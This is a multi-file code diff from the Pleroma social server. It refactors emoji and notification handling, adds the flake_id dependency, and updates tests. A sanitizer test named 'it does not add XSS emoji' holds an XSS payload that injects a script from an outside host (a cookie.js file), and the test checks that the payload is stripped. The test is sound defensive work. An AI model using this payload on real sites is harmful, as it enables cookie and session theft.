belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
belongs_to(:token, Token)
field(:endpoint, :string)
field(:key_p256dh, :string)

View file

@ -222,6 +222,7 @@ defmodule Pleroma.Web.Router do
put("/:name", EmojiAPIController, :create)
delete("/:name", EmojiAPIController, :delete)
post("/download_from", EmojiAPIController, :download_from)
post("/list_from", EmojiAPIController, :list_from)
end
scope "/packs" do
@ -324,11 +325,11 @@ defmodule Pleroma.Web.Router do
get("/favourites", MastodonAPIController, :favourites)
get("/bookmarks", MastodonAPIController, :bookmarks)
post("/notifications/clear", MastodonAPIController, :clear_notifications)
post("/notifications/dismiss", MastodonAPIController, :dismiss_notification)
get("/notifications", MastodonAPIController, :notifications)
get("/notifications/:id", MastodonAPIController, :get_notification)
delete("/notifications/destroy_multiple", MastodonAPIController, :destroy_multiple)
get("/notifications", NotificationController, :index)
get("/notifications/:id", NotificationController, :show)
post("/notifications/clear", NotificationController, :clear)
post("/notifications/dismiss", NotificationController, :dismiss)
delete("/notifications/destroy_multiple", NotificationController, :destroy_multiple)
get("/scheduled_statuses", MastodonAPIController, :scheduled_statuses)
get("/scheduled_statuses/:id", MastodonAPIController, :show_scheduled_status)

View file

@ -239,11 +239,9 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do
def emoji(conn, _params) do
emoji =
Emoji.get_all()
|> Enum.map(fn {short_code, path, tags} ->
{short_code, %{image_url: path, tags: tags}}
Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc ->
Map.put(acc, code, %{image_url: file, tags: tags})
end)
|> Enum.into(%{})
json(conn, emoji)
end

View file

@ -5,7 +5,6 @@
defmodule Pleroma.Web.TwitterAPI.Controller do
use Pleroma.Web, :controller
alias Ecto.Changeset
alias Pleroma.Notification
alias Pleroma.User
alias Pleroma.Web.OAuth.Token
@ -16,15 +15,12 @@ defmodule Pleroma.Web.TwitterAPI.Controller do
action_fallback(:errors)
def confirm_email(conn, %{"user_id" => uid, "token" => token}) do
with %User{} = user <- User.get_cached_by_id(uid),
true <- user.local,
true <- user.info.confirmation_pending,
true <- user.info.confirmation_token == token,
info_change <- User.Info.confirmation_changeset(user.info, need_confirmation: false),
changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_change),
{:ok, _} <- User.update_and_set_cache(changeset) do
conn
|> redirect(to: "/")
new_info = [need_confirmation: false]
with %User{info: info} = user <- User.get_cached_by_id(uid),
true <- user.local and info.confirmation_pending and info.confirmation_token == token,
{:ok, _} <- User.update_info(user, &User.Info.confirmation_changeset(&1, new_info)) do
redirect(conn, to: "/")
end
end

View file

@ -13,7 +13,7 @@ defmodule Pleroma.Web.Websub.WebsubClientSubscription do
field(:state, :string)
field(:subscribers, {:array, :string}, default: [])
field(:hub, :string)
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
timestamps()
end

View file

@ -158,6 +158,7 @@ defmodule Pleroma.Mixfile do
{:ex_const, "~> 0.2"},
{:plug_static_index_html, "~> 1.0.0"},
{:excoveralls, "~> 0.11.1", only: :test},
{:flake_id, "~> 0.1.0"},
{:mox, "~> 0.5", only: :test}
] ++ oauth_deps()
end

View file

@ -1,6 +1,7 @@
%{
"accept": {:hex, :accept, "0.3.5", "b33b127abca7cc948bbe6caa4c263369abf1347cfa9d8e699c6d214660f10cd1", [:rebar3], [], "hexpm"},
"auto_linker": {:git, "https://git.pleroma.social/pleroma/auto_linker.git", "95e8188490e97505c56636c1379ffdf036c1fdde", [ref: "95e8188490e97505c56636c1379ffdf036c1fdde"]},
"base62": {:hex, :base62, "1.2.1", "4866763e08555a7b3917064e9eef9194c41667276c51b59de2bc42c6ea65f806", [:mix], [{:custom_base, "~> 0.2.1", [hex: :custom_base, repo: "hexpm", optional: false]}], "hexpm"},
"base64url": {:hex, :base64url, "0.0.1", "36a90125f5948e3afd7be97662a1504b934dd5dac78451ca6e9abf85a10286be", [:rebar], [], "hexpm"},
"bbcode": {:hex, :bbcode, "0.1.1", "0023e2c7814119b2e620b7add67182e3f6019f92bfec9a22da7e99821aceba70", [:mix], [{:nimble_parsec, "~> 0.5", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm"},
"benchee": {:hex, :benchee, "1.0.1", "66b211f9bfd84bd97e6d1beaddf8fc2312aaabe192f776e8931cb0c16f53a521", [:mix], [{:deep_merge, "~> 1.0", [hex: :deep_merge, repo: "hexpm", optional: false]}], "hexpm"},
@ -17,6 +18,7 @@
"credo": {:hex, :credo, "0.9.3", "76fa3e9e497ab282e0cf64b98a624aa11da702854c52c82db1bf24e54ab7c97a", [:mix], [{:bunt, "~> 0.2.0", [hex: :bunt, repo: "hexpm", optional: false]}, {:poison, ">= 0.0.0", [hex: :poison, repo: "hexpm", optional: false]}], "hexpm"},
"crontab": {:hex, :crontab, "1.1.7", "b9219f0bdc8678b94143655a8f229716c5810c0636a4489f98c0956137e53985", [:mix], [{:ecto, "~> 1.0 or ~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm"},
"crypt": {:git, "https://github.com/msantos/crypt", "1f2b58927ab57e72910191a7ebaeff984382a1d3", [ref: "1f2b58927ab57e72910191a7ebaeff984382a1d3"]},
"custom_base": {:hex, :custom_base, "0.2.1", "4a832a42ea0552299d81652aa0b1f775d462175293e99dfbe4d7dbaab785a706", [:mix], [], "hexpm"},
"db_connection": {:hex, :db_connection, "2.1.1", "a51e8a2ee54ef2ae6ec41a668c85787ed40cb8944928c191280fe34c15b76ae5", [:mix], [{:connection, "~> 1.0.2", [hex: :connection, repo: "hexpm", optional: false]}], "hexpm"},
"decimal": {:hex, :decimal, "1.8.0", "ca462e0d885f09a1c5a342dbd7c1dcf27ea63548c65a65e67334f4b61803822e", [:mix], [], "hexpm"},
"deep_merge": {:hex, :deep_merge, "1.0.0", "b4aa1a0d1acac393bdf38b2291af38cb1d4a52806cf7a4906f718e1feb5ee961", [:mix], [], "hexpm"},
@ -34,12 +36,13 @@
"ex_rated": {:hex, :ex_rated, "1.3.3", "30ecbdabe91f7eaa9d37fa4e81c85ba420f371babeb9d1910adbcd79ec798d27", [:mix], [{:ex2ms, "~> 1.5", [hex: :ex2ms, repo: "hexpm", optional: false]}], "hexpm"},
"ex_syslogger": {:git, "https://github.com/slashmili/ex_syslogger.git", "f3963399047af17e038897c69e20d552e6899e1d", [tag: "1.4.0"]},
"excoveralls": {:hex, :excoveralls, "0.11.1", "dd677fbdd49114fdbdbf445540ec735808250d56b011077798316505064edb2c", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm"},
"flake_id": {:hex, :flake_id, "0.1.0", "7716b086d2e405d09b647121a166498a0d93d1a623bead243e1f74216079ccb3", [:mix], [{:base62, "~> 1.2", [hex: :base62, repo: "hexpm", optional: false]}, {:ecto, ">= 2.0.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm"},
"floki": {:hex, :floki, "0.23.0", "956ab6dba828c96e732454809fb0bd8d43ce0979b75f34de6322e73d4c917829", [:mix], [{:html_entities, "~> 0.4.0", [hex: :html_entities, repo: "hexpm", optional: false]}], "hexpm"},
"gen_smtp": {:hex, :gen_smtp, "0.14.0", "39846a03522456077c6429b4badfd1d55e5e7d0fdfb65e935b7c5e38549d9202", [:rebar3], [], "hexpm"},
"gen_stage": {:hex, :gen_stage, "0.14.2", "6a2a578a510c5bfca8a45e6b27552f613b41cf584b58210f017088d3d17d0b14", [:mix], [], "hexpm"},
"gen_state_machine": {:hex, :gen_state_machine, "2.0.5", "9ac15ec6e66acac994cc442dcc2c6f9796cf380ec4b08267223014be1c728a95", [:mix], [], "hexpm"},
"gettext": {:hex, :gettext, "0.17.0", "abe21542c831887a2b16f4c94556db9c421ab301aee417b7c4fbde7fbdbe01ec", [:mix], [], "hexpm"},
"hackney": {:hex, :hackney, "1.15.1", "9f8f471c844b8ce395f7b6d8398139e26ddca9ebc171a8b91342ee15a19963f4", [:rebar3], [{:certifi, "2.5.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.4", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm"},
"hackney": {:hex, :hackney, "1.15.2", "07e33c794f8f8964ee86cebec1a8ed88db5070e52e904b8f12209773c1036085", [:rebar3], [{:certifi, "2.5.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.5", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm"},
"html_entities": {:hex, :html_entities, "0.4.0", "f2fee876858cf6aaa9db608820a3209e45a087c5177332799592142b50e89a6b", [:mix], [], "hexpm"},
"html_sanitize_ex": {:hex, :html_sanitize_ex, "1.3.0", "f005ad692b717691203f940c686208aa3d8ffd9dd4bb3699240096a51fa9564e", [:mix], [{:mochiweb, "~> 2.15", [hex: :mochiweb, repo: "hexpm", optional: false]}], "hexpm"},
"http_signatures": {:git, "https://git.pleroma.social/pleroma/http_signatures.git", "293d77bb6f4a67ac8bde1428735c3b42f22cbb30", [ref: "293d77bb6f4a67ac8bde1428735c3b42f22cbb30"]},
@ -84,7 +87,7 @@
"quantum": {:hex, :quantum, "2.3.4", "72a0e8855e2adc101459eac8454787cb74ab4169de6ca50f670e72142d4960e9", [:mix], [{:calendar, "~> 0.17", [hex: :calendar, repo: "hexpm", optional: true]}, {:crontab, "~> 1.1", [hex: :crontab, repo: "hexpm", optional: false]}, {:gen_stage, "~> 0.12", [hex: :gen_stage, repo: "hexpm", optional: false]}, {:swarm, "~> 3.3", [hex: :swarm, repo: "hexpm", optional: false]}, {:timex, "~> 3.1", [hex: :timex, repo: "hexpm", optional: true]}], "hexpm"},
"ranch": {:hex, :ranch, "1.7.1", "6b1fab51b49196860b733a49c07604465a47bdb78aa10c1c16a3d199f7f8c881", [:rebar3], [], "hexpm"},
"recon": {:git, "https://github.com/ferd/recon.git", "75d70c7c08926d2f24f1ee6de14ee50fe8a52763", [tag: "2.4.0"]},
"ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.4", "f0eafff810d2041e93f915ef59899c923f4568f4585904d010387ed74988e77b", [:make, :mix, :rebar3], [], "hexpm"},
"ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.5", "6eaf7ad16cb568bb01753dbbd7a95ff8b91c7979482b95f38443fe2c8852a79b", [:make, :mix, :rebar3], [], "hexpm"},
"swarm": {:hex, :swarm, "3.4.0", "64f8b30055d74640d2186c66354b33b999438692a91be275bb89cdc7e401f448", [:mix], [{:gen_state_machine, "~> 2.0", [hex: :gen_state_machine, repo: "hexpm", optional: false]}, {:libring, "~> 1.0", [hex: :libring, repo: "hexpm", optional: false]}], "hexpm"},
"sweet_xml": {:hex, :sweet_xml, "0.6.6", "fc3e91ec5dd7c787b6195757fbcf0abc670cee1e4172687b45183032221b66b8", [:mix], [], "hexpm"},
"swoosh": {:hex, :swoosh, "0.23.2", "7dda95ff0bf54a2298328d6899c74dae1223777b43563ccebebb4b5d2b61df38", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm"},

View file

@ -11,6 +11,7 @@
"@id": "ostatus:conversation",
"@type": "@id"
},
"discoverable": "toot:discoverable",
"manuallyApprovesFollowers": "as:manuallyApprovesFollowers",
"ostatus": "http://ostatus.org#",
"schema": "http://schema.org",

View file

@ -0,0 +1,64 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
alias Pleroma.Emoji
alias Pleroma.Emoji.Formatter
use Pleroma.DataCase
describe "emojify" do
test "it adds cool emoji" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji =
{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
"https://placehold.it/1x1"
}
|> Pleroma.Emoji.build()
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
end
end
describe "get_emoji" do
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox",
%Emoji{
code: "firefox",
file: "/emoji/Firefox.gif",
tags: ["Gif", "Fun"],
safe_code: "firefox",
safe_file: "/emoji/Firefox.gif"
}}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
end
end

View file

@ -0,0 +1,83 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.LoaderTest do
use ExUnit.Case, async: true
alias Pleroma.Emoji.Loader
describe "match_extra/2" do
setup do
groups = [
"list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
"wildcard folder": "/emoji/custom/*/file.png",
"wildcard files": "/emoji/custom/folder/*.png",
"special file": "/emoji/custom/special.png"
]
{:ok, groups: groups}
end
test "config for list of files", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/first_file.png")
|> to_string()
assert group == "list of files"
end
test "config with wildcard folder", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/some_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard folder and subfolders", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard files", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config with wildcard files and subfolders", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config for special file", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/special.png")
|> to_string()
assert group == "special file"
end
test "no mathing returns nil", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/some_undefined.png")
refute group
end
end
end

View file

@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
test "first emoji", %{emoji_list: emoji_list} do
[emoji | _others] = emoji_list
{code, path, tags} = emoji
{code, %Emoji{file: path, tags: tags}} = emoji
assert tuple_size(emoji) == 3
assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
@ -24,87 +24,12 @@ defmodule Pleroma.EmojiTest do
test "random emoji", %{emoji_list: emoji_list} do
emoji = Enum.random(emoji_list)
{code, path, tags} = emoji
{code, %Emoji{file: path, tags: tags}} = emoji
assert tuple_size(emoji) == 3
assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
end
end
describe "match_extra/2" do
setup do
groups = [
"list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
"wildcard folder": "/emoji/custom/*/file.png",
"wildcard files": "/emoji/custom/folder/*.png",
"special file": "/emoji/custom/special.png"
]
{:ok, groups: groups}
end
test "config for list of files", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/first_file.png")
|> to_string()
assert group == "list of files"
end
test "config with wildcard folder", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/some_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard folder and subfolders", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard files", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config with wildcard files and subfolders", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config for special file", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/special.png")
|> to_string()
assert group == "special file"
end
test "no mathing returns nil", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/some_undefined.png")
refute group
end
end
end

View file

@ -1,47 +0,0 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.FlakeIdTest do
use Pleroma.DataCase
import Kernel, except: [to_string: 1]
import Pleroma.FlakeId
describe "fake flakes (compatibility with older serial integers)" do
test "from_string/1" do
fake_flake = <<0::integer-size(64), 42::integer-size(64)>>
assert from_string("42") == fake_flake
assert from_string(42) == fake_flake
end
test "zero or -1 is a null flake" do
fake_flake = <<0::integer-size(128)>>
assert from_string("0") == fake_flake
assert from_string("-1") == fake_flake
end
test "to_string/1" do
fake_flake = <<0::integer-size(64), 42::integer-size(64)>>
assert to_string(fake_flake) == "42"
end
end
test "ecto type behaviour" do
flake = <<0, 0, 1, 104, 80, 229, 2, 235, 140, 22, 69, 201, 53, 210, 0, 0>>
flake_s = "9eoozpwTul5mjSEDRI"
assert cast(flake) == {:ok, flake_s}
assert cast(flake_s) == {:ok, flake_s}
assert load(flake) == {:ok, flake_s}
assert load(flake_s) == {:ok, flake_s}
assert dump(flake_s) == {:ok, flake}
assert dump(flake) == {:ok, flake}
end
test "is_flake_id?/1" do
assert is_flake_id?("9eoozpwTul5mjSEDRI")
refute is_flake_id?("http://example.com/activities/3ebbadd1-eb14-4e20-8118-b6f79c0c7b0b")
end
end

View file

@ -225,22 +225,6 @@ defmodule Pleroma.FormatterTest do
assert expected_text =~ "how are you doing?"
end
end
describe ".parse_tags" do
test "parses tags in the text" do
text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
expected_tags = [
{"#Test", "test"},
{"#working", "working"},
{"#", ""},
{"#漢字", "漢字"}
]
assert {_text, [], ^expected_tags} = Formatter.linkify(text)
end
end
test "it can parse mentions and return the relevant users" do
text =
@ -262,47 +246,21 @@ defmodule Pleroma.FormatterTest do
assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
end
test "it adds cool emoji" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
describe ".parse_tags" do
test "parses tags in the text" do
text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
expected_tags = [
{"#Test", "test"},
{"#working", "working"},
{"#", ""},
{"#漢字", "漢字"}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
assert {_text, [], ^expected_tags} = Formatter.linkify(text)
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
test "it escapes HTML in plain text" do

View file

@ -77,12 +77,10 @@ defmodule Mix.Tasks.Pleroma.DatabaseTest do
assert length(following) == 2
assert info.follower_count == 0
info_cng = Ecto.Changeset.change(info, %{follower_count: 3})
{:ok, user} =
user
|> Ecto.Changeset.change(%{following: following ++ following})
|> Ecto.Changeset.put_embed(:info, info_cng)
|> User.change_info(&Ecto.Changeset.change(&1, %{follower_count: 3}))
|> Repo.update()
assert length(user.following) == 4

View file

@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do
setup do
File.mkdir_p!(tmp_path())
on_exit(fn -> File.rm_rf(tmp_path()) end)
on_exit(fn ->
File.rm_rf(tmp_path())
static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/")
if File.exists?(static_dir) do
File.rm_rf(Path.join(static_dir, "robots.txt"))
end
end)
:ok
end

View file

@ -74,8 +74,8 @@ defmodule Pleroma.UserTest do
CommonAPI.follow(follower, unlocked)
CommonAPI.follow(follower, locked)
assert {:ok, []} = User.get_follow_requests(unlocked)
assert {:ok, [activity]} = User.get_follow_requests(locked)
assert [] = User.get_follow_requests(unlocked)
assert [activity] = User.get_follow_requests(locked)
assert activity
end
@ -90,7 +90,7 @@ defmodule Pleroma.UserTest do
CommonAPI.follow(accepted_follower, locked)
User.follow(accepted_follower, locked)
assert {:ok, [activity]} = User.get_follow_requests(locked)
assert [activity] = User.get_follow_requests(locked)
assert activity
end
@ -99,10 +99,10 @@ defmodule Pleroma.UserTest do
follower = insert(:user)
CommonAPI.follow(follower, followed)
assert {:ok, [_activity]} = User.get_follow_requests(followed)
assert [_activity] = User.get_follow_requests(followed)
{:ok, _follower} = User.block(followed, follower)
assert {:ok, []} = User.get_follow_requests(followed)
assert [] = User.get_follow_requests(followed)
end
test "follow_all follows mutliple users" do
@ -560,7 +560,7 @@ defmodule Pleroma.UserTest do
test "it enforces the fqn format for nicknames" do
cs = User.remote_user_creation(%{@valid_remote | nickname: "bla"})
assert cs.changes.local == false
assert Ecto.Changeset.get_field(cs, :local) == false
assert cs.changes.avatar
refute cs.valid?
end
@ -584,7 +584,7 @@ defmodule Pleroma.UserTest do
{:ok, follower_one} = User.follow(follower_one, user)
{:ok, follower_two} = User.follow(follower_two, user)
{:ok, res} = User.get_followers(user)
res = User.get_followers(user)
assert Enum.member?(res, follower_one)
assert Enum.member?(res, follower_two)
@ -600,7 +600,7 @@ defmodule Pleroma.UserTest do
{:ok, user} = User.follow(user, followed_one)
{:ok, user} = User.follow(user, followed_two)
{:ok, res} = User.get_friends(user)
res = User.get_friends(user)
followed_one = User.get_cached_by_ap_id(followed_one.ap_id)
followed_two = User.get_cached_by_ap_id(followed_two.ap_id)
@ -975,7 +975,7 @@ defmodule Pleroma.UserTest do
info = User.get_cached_user_info(user2)
assert info.follower_count == 0
assert {:ok, []} = User.get_followers(user2)
assert [] = User.get_followers(user2)
end
test "hide a user from friends" do
@ -991,7 +991,7 @@ defmodule Pleroma.UserTest do
assert info.following_count == 0
assert User.following_count(user2) == 0
assert {:ok, []} = User.get_friends(user2)
assert [] = User.get_friends(user2)
end
test "hide a user's statuses from timelines and notifications" do
@ -1034,7 +1034,7 @@ defmodule Pleroma.UserTest do
test ".delete_user_activities deletes all create activities", %{user: user} do
{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"})
{:ok, _} = User.delete_user_activities(user)
User.delete_user_activities(user)
# TODO: Remove favorites, repeats, delete activities.
refute Activity.get_by_id(activity.id)
@ -1707,4 +1707,22 @@ defmodule Pleroma.UserTest do
assert password_reset_pending
end
end
test "change_info/2" do
user = insert(:user)
assert user.info.hide_follows == false
changeset = User.change_info(user, &User.Info.profile_update(&1, %{hide_follows: true}))
assert changeset.changes.info.changes.hide_follows == true
end
test "update_info/2" do
user = insert(:user)
assert user.info.hide_follows == false
assert {:ok, _} = User.update_info(user, &User.Info.profile_update(&1, %{hide_follows: true}))
assert %{info: %{hide_follows: true}} = Repo.get(User, user.id)
assert {:ok, %{info: %{hide_follows: true}}} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
end
end

View file

@ -479,7 +479,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn
|> assign(:user, user)
|> put_req_header("accept", "application/activity+json")
|> get("/users/#{user.nickname}/inbox")
|> get("/users/#{user.nickname}/inbox?page=true")
assert response(conn, 200) =~ note_object.data["content"]
end
@ -567,7 +567,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/users/#{user.nickname}/outbox")
|> get("/users/#{user.nickname}/outbox?page=true")
assert response(conn, 200) =~ note_object.data["content"]
end
@ -579,7 +579,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn =
conn
|> put_req_header("accept", "application/activity+json")
|> get("/users/#{user.nickname}/outbox")
|> get("/users/#{user.nickname}/outbox?page=true")
assert response(conn, 200) =~ announce_activity.data["object"]
end

View file

@ -647,6 +647,21 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert last == last_expected
end
test "paginates via offset/limit" do
_first_activities = ActivityBuilder.insert_list(10)
activities = ActivityBuilder.insert_list(10)
_later_activities = ActivityBuilder.insert_list(10)
first_expected = List.first(activities)
activities =
ActivityPub.fetch_public_activities(%{"page" => "2", "page_size" => "20"}, :offset)
first = List.first(activities)
assert length(activities) == 20
assert first == first_expected
end
test "doesn't return reblogs for users for whom reblogs have been muted" do
activity = insert(:note_activity)
user = insert(:user)

View file

@ -159,7 +159,7 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
end
end
test "outbox paginates correctly" do
test "activity collection page aginates correctly" do
user = insert(:user)
posts =
@ -171,13 +171,21 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
# outbox sorts chronologically, newest first, with ten per page
posts = Enum.reverse(posts)
%{"first" => %{"next" => next_url}} =
UserView.render("outbox.json", %{user: user, max_id: nil})
%{"next" => next_url} =
UserView.render("activity_collection_page.json", %{
iri: "#{user.ap_id}/outbox",
activities: Enum.take(posts, 10)
})
next_id = Enum.at(posts, 9).id
assert next_url =~ next_id
%{"next" => next_url} = UserView.render("outbox.json", %{user: user, max_id: next_id})
%{"next" => next_url} =
UserView.render("activity_collection_page.json", %{
iri: "#{user.ap_id}/outbox",
activities: Enum.take(Enum.drop(posts, 10), 10)
})
next_id = Enum.at(posts, 19).id
assert next_url =~ next_id
end

View file

@ -586,7 +586,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> put_req_header("accept", "application/json")
|> get("/api/pleroma/admin/users/#{user.nickname}/password_reset")
assert conn.status == 200
resp = json_response(conn, 200)
assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"])
end
describe "GET /api/pleroma/admin/users" do

View file

@ -0,0 +1,299 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.Notification
alias Pleroma.Repo
alias Pleroma.User
alias Pleroma.Web.CommonAPI
import Pleroma.Factory
test "list of notifications", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [_notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/notifications")
expected_response =
"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
user.ap_id
}\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>"
assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
assert response == expected_response
end
test "getting a single notification", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/notifications/#{notification.id}")
expected_response =
"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
user.ap_id
}\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>"
assert %{"status" => %{"content" => response}} = json_response(conn, 200)
assert response == expected_response
end
test "dismissing a single notification", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/notifications/dismiss", %{"id" => notification.id})
